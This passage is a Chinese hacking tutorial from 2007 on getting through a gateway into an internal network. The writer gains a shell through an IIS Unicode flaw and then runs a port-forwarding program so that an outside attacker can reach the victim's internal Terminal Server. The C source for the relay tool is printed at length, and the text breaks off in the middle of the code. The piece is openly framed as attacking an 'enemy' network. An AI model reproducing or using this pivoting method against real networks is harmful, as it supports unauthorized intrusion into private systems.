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如何突破TCP-IP过滤防火墙进入内网

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我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。

作者:中国IT实验室 2007年8月18日

关键字: 防火墙 硬件防火墙 软件防火墙 cisco防火墙 防火墙设置 Linux防火墙

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  现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

  

  也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

  

  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

  

  第一部分:利用TCP socket数据转发进入没有防火墙保护的内网

  

  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

  

  我们的目标是连接上敌人内网的Terminal

  

  Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

  

  攻击流程如下:

  

  <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

  

  <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

  

  <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

  

  <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

  

  程序代码如下:

  

  /**********************************************************************

  Module Name:AgentGateWay.c

  Date:2001/4/15

  CopyRight(c) eyas

  说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,

  就可以进入内网了

  sock[0]==>sClient sock[1]==>sTarget

  **********************************************************************/

  #include

  #include

  #include "TCPDataRedird.c"

  #define TargetIP TEXT("192.168.1.3")

  #define TargetPort (int)3389

  #define ListenPort (int)3389//监听端口

  #pragma comment(lib,"ws2_32.lib")

  int main()

  {

  WSADATA wsd;

  SOCKET sListen=INVALID_SOCKET,//本机监听的socket

  sock[2];

  struct sockaddr_in Local,Client,Target;

  int iAddrSize;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sListen==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  Local.sin_addr.s_addr=htonl(INADDR_ANY);

  Local.sin_family=AF_INET;

  Local.sin_port=htons(ListenPort);

  

  Target.sin_family=AF_INET;

  Target.sin_addr.s_addr=inet_addr(TargetIP);

  Target.sin_port=htons(TargetPort);

  

  if(bind(sListen,(struct sockaddr

  *)&Local,sizeof(Local))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  if(listen(sListen,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //scoket循环

  while(1)

  {

  printf("\n\n*************Waiting Client Connect

  to**************\n\n");

  iAddrSize=sizeof(Client);

  //get socket sClient

  sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

  ntohs(Client.sin_port));

  //create socket sTarget

  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //connect to target port

  if(connect(sock[1],(struct sockaddr

  *)&Target,sizeof(Target))==SOCKET_ERROR)

  {

  printf("\nconnect() failed:%d",GetLastError());

  __leave;

  }

  printf("\nconnect to target 3389 success!");

  //创建两个线程进行数据转发

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待两个线程结束

  WaitForSingleObject(hThreadC2T,INFINITE);

  WaitForSingleObject(hThreadT2C,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[1]);

  closesocket(sock[0]);

  printf("\n\n*****************Connection

  Close*******************\n\n");

  }//end of sock外循环

  }//end of try

  __finally

  {

  if(sListen!=INVALID_SOCKET) closesocket(sListen);

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

  /*************************************************************************

  Module:TCPDataRedird.c

  Date:2001/4/16

  CopyRight(c) eyas

  HomePage:www.patching.net

  Thanks to shotgun

  说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget

  *************************************************************************/

  #define BuffSize 20*1024 //缓冲区大小20k

  //此函数负责从Client读取数据,然后转发给Target

  DWORD WINAPI TCPDataC2T(SOCKET* sock)

  {

  int iRet,

  ret=-1,//select 返回值

  iLeft,

  idx,

  iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

  char szSendToTargetBuff[BuffSize]=,

  szRecvFromClientBuff[BuffSize]=;

  fd_set fdread,fdwrite;

  printf("\n\n*****************Connection

  Active*******************\n\n");

  while(1)

  {

  FD_ZERO(&fdread);

  FD_ZERO(&fdwrite);

  FD_SET(sock[0],&fdread);

  FD_SET(sock[1],&fdwrite);

  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

  {

  printf("\nselect() failed:%d",GetLastError());

  break;

  }

  //printf("\nselect() return value ret=%d",ret);

  if(ret>0)

  {

  //sClinet可读,client有数据要发送过来

  if(FD_ISSET(sock[0],&fdread))

  {

  //接收sock[0]发送来的数据

  iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nrecv() from sock[0] failed:%d",GetLastError());

  break;

  }

  else if(iRet==0)

  break;

  printf("\nrecv %d bytes from sClinet.",iRet);

  //把从client接收到的数据存添加到发往target的缓冲区

  memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

  //刷新发往target的数据缓冲区当前buff大小

  iSTTBCS+=iRet;

  //清空接收client数据的缓冲区

  memset(szRecvFromClientBuff,0,BuffSize);

  }

  //sTarget可写,把从client接收到的数据发送到target

  if(F

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